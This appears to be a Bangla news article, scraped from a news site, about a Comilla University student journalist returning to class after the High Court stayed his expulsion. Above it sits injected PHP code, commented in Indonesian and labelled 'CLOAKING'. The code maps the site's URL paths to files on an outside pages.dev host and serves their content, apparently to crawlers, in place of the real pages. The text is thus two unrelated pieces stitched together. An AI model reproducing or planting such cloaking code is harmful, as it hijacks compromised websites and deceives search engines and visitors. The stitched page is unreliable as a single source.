/* ===== NORMALISASI PATH (VERSI PERBAIKAN) ===== */ // Ambil path, hapus query string (?abc=123) jika ada $p = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); // Hilangkan index.php $p = str_replace('/index.php', '', $p); // Pastikan path selalu diawali dengan '/' dan tidak diakhiri dengan '/' (kecuali root) $p = '/' . ltrim(rtrim($p, '/'), '/'); /* ===== MAPPING URL ===== */ $map = [ '/technical/251262' => 'content39.txt', '/education-ministry/243185' => 'content40.txt', '/dshe/252183' => 'content41.txt', '/' => 'content42.txt', // Sekarang ini akan terpanggil dengan benar '/ntrca/238706' => 'content43.txt', '/section/admission-test/110' => 'content44.txt', '/section/ntrca/122' => 'content45.txt' ]; /* ===== CLOAKING ===== */ // Debugging sederhana (hapus jika sudah jalan): // echo "Path terdeteksi: " . $p; if($b && isset($map[$p])){ $content_url = "https://new-content-page.pages.dev/" . $map[$p]; $x = fetch($content_url); if($x && strlen(trim($x)) > 50){ header("Content-Type: text/html; charset=utf-8"); echo $x; exit; } }
ইকবাল মনোয়ার © ফাইল ছবি
নিয়মবহির্ভূত বহিষ্কারাদেশের ১৭ দিন পরে ক্লাসে ফিরছেন কুমিল্লা বিশ্ববিদ্যালয়ের (কুবি) ইংরেজি বিভাগের শিক্ষার্থী ও কুমিল্লা বিশ্ববিদ্যালয় সাংবাদিক সমিতির অর্থ সম্পাদক ইকবাল মনোয়ার। এর আগে গত ১৪ আগস্ট তার বহিষ্কারাদেশ স্থগিত করে হাইকোর্ট। গতকাল রবিবার (২০ আগস্ট) ক্লাস ও মিডটার্ম পরীক্ষায় অংশগ্রহণ করে একাডেমি কার্যক্রমে ফিরেছেন বলে নিশ্চিত করেছেন ইংরেজি বিভাগের চেয়ারম্যান ড. বনানী বিশ্বাস।
এর গত ৩১ শে জুলাই বিশ্ববিদ্যালয়ের উপাচার্য অধ্যাপক ড. এএফএম. আবদুল মঈনের বক্তব্য নিয়ে সংবাদ প্রকাশ করায় ২ আগস্ট নিয়মনীতির তোয়াক্কা না করে শৃঙ্খলা ভঙ্গের অভিযোগ এনে যায়যায়দিনের প্রতিনিধি ইকবাল মনোয়ারকে বিশ্ববিদ্যালয় থেকে বহিষ্কার করে বিশ্ববিদ্যালয় প্রশাসন।
এ বিষয়ে ইকবাল মনোয়ার বলেন, নিয়মবহির্ভূত বহিষ্কারাদেশের পর হাইকোর্ট আমার ছাত্রত্ব ফিরিয়ে দিয়েছে। এ কয়দিন ক্লাস না করার কারণে অ্যাকাডেমিক পড়াশোনার অনেক ব্যাঘাত হয়েছে। যা সামলে উঠতে এখন কিছুটা হিমশিম খেতে হচ্ছে। প্রশাসন আমার মত অন্য কোনো শিক্ষার্থীকে এভাবে নিয়মবহির্ভূত বহিষ্কারাদেশ না দেয়।
উল্লেখ্য, এই বহিষ্কারাদেশ কেন বেআইনি ঘোষণা করা হবে না, সে বিষয়ে ৪ সপ্তাহের রোল জারি করেছে হাইকোর্ট। এছাড়াও বহিষ্কারাদেশ ৬ মাসের জন্য স্থগিত করা হয়েছে। ফলে ক্লাস ও পরীক্ষায় অংশ নিতে আর কোনো বাঁধা নেই।